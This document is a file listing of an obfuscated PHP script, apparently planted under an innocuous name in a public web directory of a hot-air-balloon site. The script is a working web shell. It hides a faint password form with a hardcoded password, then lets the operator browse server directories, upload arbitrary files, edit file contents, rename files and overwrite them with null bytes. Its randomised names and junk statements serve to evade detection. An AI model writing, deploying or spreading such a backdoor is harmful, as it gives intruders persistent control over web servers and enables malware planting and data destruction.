File "unfad.php"
Full Path: /home/nokenter/public_html/hot_air_baloon/unfad.php
File size: 9.28 KB
MIME-type: text/x-php
Charset: utf-8
<?php function psjqf($v): string {return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8');$fbtvzvar=reset([1,2,3]);}$snjvar=0||1||2?1:0;function gjtsxp(){if(!session_id())session_start();$mxwvar=is_writable(sys_get_temp_dir());if(!isset($_SESSION['mispindli']))$_SESSION['mispindli']=[];}function vqs($v){gjtsxp();$nivar=is_callable('trim');static $c=0;$npvvar=7<=>5;$c++;$rezvar=json_encode(['status'=>0]);$_SESSION['mispindli'][$c]=$v;$povar=filesize(__FILE__)??0;return $c;}function kxojhq($k,$d=null){gjtsxp();$zwecvar=ctype_digit('3');return $_SESSION['mispindli'][$k]??$d;$cdzhvar=floatval('17.5');}$mqxvar=@count([1,2]);function fvippk($p,$msthvar){$p=str_replace("\0",'',$p);$p=trim($p);$sjvar=sha1(uniqid());if($p==='' or $p==='.' or $p==='/')return $msthvar;$p=rawurldecode($p);$anvar=is_readable(__FILE__);$p=str_replace(['/','\\'],DIRECTORY_SEPARATOR,$p);if(strpos($p,DIRECTORY_SEPARATOR)!==0)$p=rtrim($msthvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.ltrim($p,DIRECTORY_SEPARATOR);$mqvar=[];foreach(explode(DIRECTORY_SEPARATOR,$p) as $yumzuvar){if($yumzuvar==='' or $yumzuvar==='.')continue;if($yumzuvar==='..'){array_pop($mqvar);continue;}$mqvar[]=$yumzuvar;}$qhzknvar=DIRECTORY_SEPARATOR.implode(DIRECTORY_SEPARATOR,$mqvar);$ddmyuvar=@realpath($qhzknvar);$lsuovvar=realpath($msthvar);if($ddmyuvar!==false and $lsuovvar!==false and strpos($ddmyuvar,$lsuovvar)===0)$qhzknvar=$ddmyuvar;is_file($qhzknvar) and ($qhzknvar=dirname($qhzknvar));return rtrim($qhzknvar,DIRECTORY_SEPARATOR);}function sek($p){if(!is_file($p) or !is_readable($p))return false;$jkfyhvar=@fopen($p,'rb');if(!$jkfyhvar)return false;$kvvar='';while(!feof($jkfyhvar)){$qbvar=fread($jkfyhvar,8192);if($qbvar===false)break;$kvvar.=$qbvar;}fclose($jkfyhvar);return $kvvar;}function wc($p,$d){$tutvar=dirname($p);if(!is_dir($tutvar) or !is_writable($tutvar))return false;$jkfyhvar=@fopen($p,'wb');if(!$jkfyhvar)return false;flock($jkfyhvar,LOCK_EX);$lkobkvar=fwrite($jkfyhvar,$d);flock($jkfyhvar,LOCK_UN);fclose($jkfyhvar);return $lkobkvar!==false;}function gsmnv($p){if(is_file($p) and is_writable($p)){$jkfyhvar=@fopen($p,'wb');if($jkfyhvar){fwrite($jkfyhvar,str_repeat("\0",max(1,@filesize($p))));fclose($jkfyhvar);}return true;}return false;}function tzazjg($p,$xuvar){return '<a href="?k='.psjqf(vqs($p)).'">'.psjqf($xuvar).'</a>';}function xrbt($p,$msthvar){$ddmyuvar=realpath($p);$lsuovvar=realpath($msthvar);if(!$ddmyuvar or !$lsuovvar or strpos($ddmyuvar,$lsuovvar)!==0)return psjqf($p);$iwunvar=substr($ddmyuvar,strlen($lsuovvar));$iwunvar=trim($iwunvar,DIRECTORY_SEPARATOR);$yumzuvar=$iwunvar===''?[]:explode(DIRECTORY_SEPARATOR,$iwunvar);$qjjdvar=[tzazjg($msthvar,'~')];$gneplvar=$msthvar;foreach($yumzuvar as $s){$gneplvar=rtrim($gneplvar,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$s;$qjjdvar[]=tzazjg($gneplvar,$s);}return implode(' / ',$qjjdvar);}$msthvar=__DIR__;$pdhvar="antiflocke";gjtsxp();if(!isset($_SESSION['interobstruc'])){if(isset($_POST['ka']) or isset($_GET['ka'])){$civar=$_POST['ka']??$_GET['ka'];if($civar===$pdhvar){$_SESSION['interobstruc']=1;}else{header('Location: '.$_SERVER['PHP_SELF']);exit;}}if(!isset($_SESSION['interobstruc'])){?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#f0f0f0}.op2{position:fixed;bottom:8px;left:8px;opacity:0.13;display:flex;gap:3px}.op2 input{width:58px;padding:2px 3px;border:1px solid #ccc;background:#fff;font:10px/1.4 monospace;outline:none}.op2 button{padding:2px 6px;border:1px solid #ccc;background:#eee;font:10px monospace;cursor:pointer;color:#555}</style></head><body><form class="op2" method="post"><input type="password" name="ka" autocomplete="off"><button type="submit">›</button></form></body></html><?php exit;}}$sqguvar=$_GET['k']??null;$pcnfvar=$sqguvar?fvippk(kxojhq($sqguvar,$msthvar),$msthvar):fvippk($_GET['we']??'',$msthvar);if(isset($_POST['ju']) and isset($_FILES['uw'])){$oamjvar=$_FILES['uw']['tmp_name'];$dzfvar=basename($_FILES['uw']['name']);$jnvar=$pcnfvar.DIRECTORY_SEPARATOR.$dzfvar;if($oamjvar and $dzfvar and is_uploaded_file($oamjvar) and @move_uploaded_file($oamjvar,$jnvar)){header('Location: ?k='.vqs($pcnfvar).'&r=1');exit;}header('Location: ?k='.vqs($pcnfvar));exit;}if(isset($_POST['rl']) and isset($_GET['v'])){$fredtvar=$pcnfvar.DIRECTORY_SEPARATOR.basename($_GET['v']);$rbgrvar=$_POST['h']??'';if(wc($fredtvar,$rbgrvar)){header('Location: ?k='.vqs($pcnfvar).'&v='.urlencode($_GET['v']).'&r=2');exit;}header('Location: ?k='.vqs($pcnfvar));exit;}if(isset($_POST['xn'])){$qsauvar=basename($_POST['lj']??'');$fredtvar=$pcnfvar.DIRECTORY_SEPARATOR.$qsauvar;if($qsauvar!=='' and (is_file($fredtvar) or is_dir($fredtvar)) and gsmnv($fredtvar)){header('Location: ?k='.vqs($pcnfvar));exit;}}if(isset($_POST['jn'])){$bnvar=basename($_POST['i']??'');$gfvar=basename($_POST['dy']??'');if($bnvar!=='' and $gfvar!=='')@rename($pcnfvar.DIRECTORY_SEPARATOR.$bnvar,$pcnfvar.DIRECTORY_SEPARATOR.$gfvar);header('Location: ?k='.vqs($pcnfvar));exit;}$lhbvar=(int)($_GET['r']??0);$mzivar=$_GET['v']??null;$iwevar='';if($mzivar){$iwevar=sek($pcnfvar.DIRECTORY_SEPARATOR.basename($mzivar));}$tbeevar=[];$tcvar=[];$ecoovar=@scandir($pcnfvar);if($ecoovar!==false){foreach($ecoovar as $mywvar){if($mywvar==='.' or $mywvar==='..')continue;$fredtvar=$pcnfvar.DIRECTORY_SEPARATOR.$mywvar;if(is_dir($fredtvar)){$tbeevar[]=['n'=>$mywvar,'p'=>$fredtvar];}else{$ksqxvar=@filesize($fredtvar);$tiwvar='';if($ksqxvar!==false){$nluevar=['b','k','m','g'];$rcufvar=0;while($ksqxvar>=1024 and $rcufvar<3){$ksqxvar/=1024;$rcufvar++;}$tiwvar=round($ksqxvar,1).$nluevar[$rcufvar];}$tcvar[]=['n'=>$mywvar,'s'=>$tiwvar];}}sort($tbeevar);sort($tcvar);}?><!DOCTYPE html><html><head><meta charset="utf-8"><style>*{box-sizing:border-box;margin:0;padding:0}body{background:#efefef;font:12px/1.5 monospace;color:#333}.zx8{max-width:860px;margin:18px auto;padding:0 12px}.jr2{font-size:10px;color:#aaa;padding:6px 0 10px}.jr2 a{color:#888;text-decoration:none}.jr2 a:hover{text-decoration:underline}.ns9{padding:5px 10px;background:#e8ffe8;border-left:3px solid #9c9;font-size:10px;margin-bottom:10px;color:#595}.pd9{background:#fff;border:1px solid #ddd;padding:10px;margin-bottom:12px}.pd9 textarea{width:100%;padding:6px;border:1px solid #ddd;font:11px monospace;resize:vertical;min-height:280px;outline:none}.pd9 .kn2{margin-top:6px;display:flex;gap:5px}.lw5{background:#fff;border:1px solid #ddd;padding:8px 10px;margin-bottom:12px;display:flex;gap:6px;align-items:center}.lw5 input[type=file]{flex:1;font-size:10px}.nu4{width:100%;border-collapse:collapse;background:#fff;border:1px solid #ddd}.nu4 tr{border-bottom:1px solid #f0f0f0}.nu4 tr:last-child{border-bottom:none}.nu4 tr:hover{background:#fafafa}.nu4 td{padding:5px 8px;font-size:11px;vertical-align:middle}.nu4 .fz8{color:#aaa;font-size:9px;width:24px}.nu4 .ge2 a{color:#222;text-decoration:none}.nu4 .ge2 a:hover{color:#0055bb}.nu4 .fp2{color:#bbb;font-size:9px;width:50px;text-align:right}.nu4 .cz3{width:160px;text-align:right}.tw4{padding:2px 7px;background:#f5f5f5;border:1px solid #d5d5d5;font:9px monospace;cursor:pointer;color:#444}.tw4:hover{background:#e8e8e8}.pn1{width:70px;padding:2px;border:1px solid #ccc;font:9px monospace}.sd7{display:inline}.eu8{color:#ddd;margin:0 2px}</style></head><body><div class="zx8"><div class="jr2"><?php echo xrbt($pcnfvar,$msthvar)?></div><?php if($lhbvar===1):?><div class="ns9">zakozam</div><?php endif?><?php if($lhbvar===2):?><div class="ns9">uydare</div><?php endif?><?php if($mzivar and $iwevar!==false):?><div class="pd9"><form method="post"><textarea name="h"><?php echo psjqf($iwevar)?></textarea><div class="kn2"><button class="tw4" name="rl">omekolur</button><a href="?k=<?php echo psjqf(vqs($pcnfvar))?>"><button type="button" class="tw4">←</button></a></div></form></div><?php endif?><div class="lw5"><form method="post" enctype="multipart/form-data" style="display:flex;gap:6px;width:100%;align-items:center"><input type="file" name="uw"><button class="tw4" name="ju">+</button></form></div><table class="nu4"><tbody><?php foreach($tbeevar as $tutvar):?><tr><td class="fz8">[+]</td><td class="ge2"><?php echo tzazjg($tutvar['p'],$tutvar['n'])?></td><td class="fp2"></td><td class="cz3"><form class="sd7" method="post"><input type="hidden" name="lj" value="<?php echo psjqf($tutvar['n'])?>"><button name="xn" class="tw4" onclick="return confirm('?')">×</button></form><span class="eu8">|</span><form class="sd7" method="post"><input type="hidden" name="i" value="<?php echo psjqf($tutvar['n'])?>"><input type="text" name="dy" class="pn1" placeholder=".."><button name="jn" class="tw4">›</button></form></td></tr><?php endforeach?><?php foreach($tcvar as $ouvar):?><tr><td class="fz8">[-]</td><td class="ge2"><?php echo psjqf($ouvar['n'])?></td><td class="fp2"><?php echo $ouvar['s']?></td><td class="cz3"><a href="?k=<?php echo psjqf(vqs($pcnfvar))?>&v=<?php echo urlencode($ouvar['n'])?>"><button class="tw4">~</button></a><span class="eu8">|</span><form class="sd7" method="post"><input type="hidden" name="lj" value="<?php echo psjqf($ouvar['n'])?>"><button name="xn" class="tw4" onclick="return confirm('?')">×</button></form><span class="eu8">|</span><form class="sd7" method="post"><input type="hidden" name="i" value="<?php echo psjqf($ouvar['n'])?>"><input type="text" name="dy" class="pn1" placeholder=".."><button name="jn" class="tw4">›</button></form></td></tr><?php endforeach?></tbody></table></div></body></html>